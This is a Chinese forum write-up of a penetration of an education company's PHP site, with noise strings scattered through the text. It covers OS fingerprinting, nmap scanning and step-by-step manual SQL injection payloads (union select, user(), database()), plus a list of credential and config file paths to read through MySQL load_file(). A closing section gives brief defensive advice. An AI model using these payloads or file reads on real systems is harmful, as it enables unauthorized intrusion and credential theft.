找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2053|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
题记:
( \: ]7 l2 l6 Z  s一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……! X0 V  _: g, `* Z) m0 D; X
第一步:获取需要的信息
' ~! \6 m+ z+ p/ i% ~由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。, ^6 O! l2 p! ~* r) `; B
注:以下为保护特用XXX代替敏感信息6 i3 d! J, t+ o+ A5 R+ J3 A
顺手先PING了一下他们的域名:
2 L. l8 H! ?8 D4 r1 G% `- qping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)+ J* y2 x" W: U9 ]8 ^: q) u3 t
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
& _3 K: w* h/ P: a( B顺便了解一下TTL,学好基础知识才能一路顺风:1 [) ]( C& u- D) ~
TTL:(Time To Live ) 生存时间* f, R# a+ K8 g; t3 k
指定数据包被路由器丢弃之前允许通过的网段数量。
9 y! E2 [7 V6 u1 b) PTTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。+ C0 K5 Z8 [1 i0 p, w' }* B
使用PING时涉及到的 ICMP 报文类型
6 O+ u/ ], P  g" |一个为ICMP请求回显(ICMP Echo Request)( M1 n5 L/ Z) }! v3 [$ r; g- |
一个为ICMP回显应答(ICMP Echo Reply)( b. t4 B  Q+ c# W' @' O5 \  ]
TTL 字段值可以帮助我们识别操作系统类型。1 N( B' f- i/ D+ _$ }7 B# I0 n& n
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
: I' G0 k( a5 x6 QCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64, g' I/ S0 l& ~
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128$ F# L; g4 f+ k' h" @  @
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
6 H9 s, W9 ~; R  D- ^) W$ F当然,返回的TTL值是相同的
( Q6 `/ p$ z; R, w! ]+ f但有些情况下有所特殊
- G9 P1 j1 s  d5 ^9 r  B% Q/ OLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 649 A# z% w: @1 ~  |- p
FreeBSD 4.1, 4.0, 3.4;
3 O2 ^& a. k( w2 |Sun Solaris 2.5.1, 2.6, 2.7, 2.8;$ M0 q' Z. }  T$ D0 x+ x9 B4 g
OpenBSD 2.6, 2.7,
- w# \- h- ]. q- x3 {# F: HNetBSD
) L5 _! ?7 `  k+ [' K2 P& Y9 xHP UX 10.20
1 ^. l( e% g0 ~( Q- ^8 PICMP 回显应答的 TTL 字段值为 255/ o: G2 N2 U  Y5 W/ S
Windows 95/98/98SE5 y  P# g$ A3 v9 Y$ ~; P4 z
Windows ME3 F& L" M/ \* M- v% \4 d' q
ICMP 回显应答的 TTL 字段值为 32! T! w5 W. z: O' T% s# ^$ {
Windows NT4 WRKS
: X9 q$ b: x5 f7 [- f& yWindows NT4 Server. t+ N6 [4 n) f6 T; U1 d
Windows 2000
# T5 }6 h- l) e1 Z9 Y0 e( ~Windows XP. D  p$ ?" B! o4 u# h8 _+ r, j# k& `
ICMP 回显应答的 TTL 字段值为 128
, Y  q! R4 {1 ?$ e+ Q& ]这样,我们就可以通过这种方法来辨别操作系统
; Q" J) B! T* c! X2 sTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的2551 }& G* ~, M2 W* `' n
用NMAP扫描一下:  B3 @; {, ^  d
nmap -sT -O XXX.XXX.XXX.XXX3 j0 I4 }/ E0 @( }: ~* f; u
如果没有装WinPcap则会弹出提示:" X  ?. c% H' V. a& c2 V5 U
WARNING: Could not import all necessary WinPcap functions.  You may need to upgr
5 v- _. K, X( [7 ~% ]; A' ^4 Qade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(; i& e* \+ a4 S7 i7 U( l, I
) mode — Nmap may not function completely) S' b+ y& h6 W. A; }/ s9 c! B# O
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
2 |4 Y, G) q0 v0 z/ J$ ~2 ^9 f' e- l; }and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
* ^, H$ `2 g: c7 r& d& Kpcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an
5 h, S* K' z! i3 e$ xd later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v
/ |9 v8 t. I( I9 T; Uersions, you may be able to take iphlpapi.dll from another system and place it i( v/ V1 `. I3 y' C: H9 ?
n your system32 dir (e.g. c:\windows\system32).
# w4 N* m7 ~; o) C1 E0 |QUITTING!' Q& e2 S) n/ p6 n
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe, ], \2 m. x3 ]$ m9 y/ ~9 j& D$ k
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:! z9 m( a, a6 y% `! H, A
Interesting ports on XXX.XXX.XXX.XXX:% J5 m7 X, T# U! l- P8 h0 D
Not shown: 986 closed ports
; J+ ^4 U* ?) F& pPORT     STATE    SERVICE
6 E2 E+ e" ^* D! P0 q+ X) N1 l21/tcp   open     ftp2 \$ H6 d2 A! ~+ W
22/tcp   open     ssh
+ U# I9 W; R( k$ k  ?4 h) @3 k% _0 b23/tcp   open     telnet
  A3 A0 F, B) g/ }" B  ^9 J80/tcp   open     http9 T5 H0 `5 v8 {
111/tcp  open     rpcbind
6 K( V+ K: \. t. I; ~; u135/tcp  filtered msrpc
/ N+ C, Q7 B+ @% n% k139/tcp  filtered netbios-ssn
. W" w7 O; r) c% f445/tcp  filtered microsoft-ds
8 o3 I4 J4 \5 t" n& E513/tcp  open     login
3 K4 h5 P2 w) v8 F514/tcp  open     shell" a$ T! W6 w4 t9 ]7 H% \" }
593/tcp  filtered http-rpc-epmap# |/ _- w0 v' Q; W+ D# t0 s
1720/tcp filtered H.323/Q.931
" i. b0 _; F: Y1 g: P3306/tcp open     mysql4 l: P% `) E% L0 L* c
4444/tcp filtered krb524" P9 t) b' J# O$ Z8 R
Device type: WAP- R0 z; W+ n7 E6 c- U/ `8 \/ l
Running: Linux 2.4.X; B& r' p0 \1 c3 ?
OS details: DD-WRT (Linux 2.4.35s)
4 y% `: x# P6 g) O' X! w. T7 S7 BNetwork Distance: 13 hops
0 z1 w  U% s  V# ?& \+ u看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
/ R3 E8 H1 A7 r, r  T3 Dlogin as:
& r2 s( n7 d! r8 G4 d* u' XTelnet23端口也是开着的,用telnet 命令链接一下:
6 b4 y% Y& Q$ j$ h3 Etelnet XXX.XXX.XXX.XXX9 [+ S& v/ Q5 Z4 Y: [
提示:
% @9 ]4 g$ R# ?5 _5 \" YRed Hat Enterprise Linux Server release 5.2 (Tikanga)6 `) r' P3 k/ x2 K
Kernel 2.6.18-92.el5PAE on an i686' K& m% o% X) m/ O
login:
% r0 r0 i7 w! U# f2 b+ `获取HTTP头信息:+ Q% T, u6 K7 }
在本地执行如下PHP代码* J2 G" E5 l# Z! n
<?php( d' K: L! _7 @0 T
$url = ‘XXX.XXX.XXX.XXX’;
( O* W2 ]/ \, p7 ^6 _print_r(get_headers($url));
2 r. ?0 ^) Y) @- }4 X" D. }( jprint_r(get_headers($url, 1));$ t6 ?- _0 J, H
?>: P( u) [* E0 Z# V8 y( x+ n
将以上代码保存为PHP文件,执行:
% q3 ]3 E& i/ a5 s4 ?Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
% e7 N! i# `( Y8 Y现在可以得出结论:
$ b$ v/ |5 B3 h# v系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)7 `% c. e) o2 t
内核版本:Kernel 2.6.18-92.el5PAE on an i686
% T2 b* \- B6 V1 j+ O; e/ g2 [8 lWEB服务器版本:nginx/0.7.61
" C9 Y# J2 v; O: X: t! L2 F! Z. ]; E8 g第二步,开始测试寻找漏洞- ]" _4 J( i$ w$ n4 K8 _
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
, Q( e% R  K) F4 c& Y, E1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
" J' U8 A. N; C& v, j% j" p8 @: ^2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
0 _2 w. f1 ?0 [3 \5 Jhttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常& Y0 b- c7 ]8 q
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
9 V+ \( A7 }5 X恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续1 b9 E8 j' Z! w; N1 l- D( Y" D' @4 j
3、手工注入:
7 C! J. Y) k  R& ~" n7 d5 ^; e注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。# y" b+ d' d8 n. C6 H) ~
3.1 猜测当前表字段数
3 |0 f2 k! R  B+ A6 E8 ^# Khttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10$ z0 l  ?9 k7 w, y  }+ ^6 g! ~
此处猜测有个简单的算法,都是有技巧的吗,呵呵; Z' x7 \& _+ @2 g- u3 z; y, P
算法简单如下:' y1 R+ \; x) T' `2 [
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;0 v3 ?, m( q3 {! o8 `& q
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
  O$ w+ }9 F1 A- F- f+ B$ D* F9 I需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。: O7 C: t) A' p. ?2 w( ^2 p$ t, C
以此来判断,是否过界,配合取中算法猜出字段数。
* L" {* t. O! j2 G( }) c举例:( @3 g5 ^1 U) J$ S7 D$ @: {, Z
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常) t0 V& j9 l! Z  U) @& _
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误. D6 }  q9 T/ F" t: {5 F. Z
此时3则为我们要找的字段数。$ ^) _# S4 |. _3 x5 h
3.2 配合union联合查询字段在页面所位置/ W/ f1 q8 R. J* G: f$ X* k! L
我们已经知道了字段数为3,此时则可以做如下操作:
, ]/ D% Q# t) D0 e! _7 @# }. Yhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
+ I- F7 q7 }3 {! ]- \
$ Z( R! X% q4 k$ R& V) D0 l这样就可以测试到哪些字段在页面上有所显示了,如图:" h8 G: `. W9 n. x4 s

# B4 w" z/ X% `3.3 查敏感信息
" }; o6 u& R! o! J这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。& H' z4 V3 I" f& {" e
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()  E. U. t; F8 ?; N
3.3.1 先查数据库用户、数据库名,以备后用,如图:; p' Z! ^5 d( f) a0 \
  W# |, ^4 ]+ g
得到数据库用户为root、数据库名为DBxx;
9 z$ M- [# L( T3.3.2 查配置文件2 k8 n* n! \* m& T3 d5 u
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。2 y( d* S2 Y4 a4 P, R+ E# p
查看文件有一定的条件限制:; s4 ?, W  ?- k9 O# X" c
欲读取文件必须在服务器上$ e" M$ A; O6 W; `( R) N. Z0 a  k- a
必须指定文件完整的路径
/ {4 }0 {8 O5 s7 o' f8 m必须有权限读取并且文件必须完全可读& a, w3 G$ w  J; X: G5 ?: M- o
欲读取文件必须小于 max_allowed_packet
6 u0 y+ I7 I# C+ o% qMYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。/ [/ s6 ~, n4 h  t; N7 o# y2 i, A# ^
常用的一些:
' I) U* F3 r# O" H/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
! L, a  \% U# J& w/usr/local/apache2/conf/httpd.conf
0 B2 m* }. C1 m, o/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
* [. q2 s2 O+ \' G6 b# r/usr/local/app/php5/lib/php.ini //PHP相关设置# ?+ P! l2 ^& u7 M% Y! R, ?
/etc/sysconfig/iptables //从中得到防火墙规则策略& B0 @6 R; `; P* L2 m/ N9 ^* \
/etc/httpd/conf/httpd.conf // apache配置文件7 ~! W% ^5 M) `9 v3 c" N8 c  g! I5 q
/etc/rsyncd.conf //同步程序配置文件' ]3 v1 g+ d4 E3 q. B' I
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.: R& H! {1 c3 X6 g2 D3 h! [
/etc/my.cnf //mysql的配置文件
% I% ]6 V+ n! a/ s/etc/redhat-release //系统版本8 k! T% w9 j7 S4 x, c# Q- s
/etc/issue
' h- T# H& ^5 d! F3 z) x. i/ r3 S/etc/issue.net( m6 o- Q; `4 L+ R2 D
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
  J) e; V1 Q7 T/ I4 Uc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
5 f9 |/ U, s, I6 `7 Z9 M; ^1 Fc:\Program Files\Serv-U\ServUDaemon.ini( w) _; E, K: c$ [7 ?  u
c:\windows\my.ini //MYSQL配置文件& @" M/ ~5 e( S4 F  Z
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件  }  ]5 D2 f; G. P6 L* Z; w5 t
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
4 H0 e: x9 U+ y# @. dc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
$ c, j7 G5 v6 i7 y! C$ l' d  ?: Nc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此) H" X/ `& v7 {. }, g' }/ h
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
7 a/ h% ^$ V7 wC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
8 n7 H/ C  W( F! f( `/ |# p- ]2 J//存储了pcAnywhere的登陆密码
5 n- E4 I9 n+ ~' T1 t# D1 g* o, I由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。# D* a: d0 `+ b2 S+ T
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
, W+ |: i1 ]0 g! T8 P最后:防范措施
/ c9 X: i6 |+ Y% E) P$ `1、修复PHP注入漏洞;+ w0 \* o  M6 p# S4 Y/ _) e& E' U* s
2、Mysql使用普通权限的用户;( Y: n1 H% T$ ?8 s( u: x2 @
3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表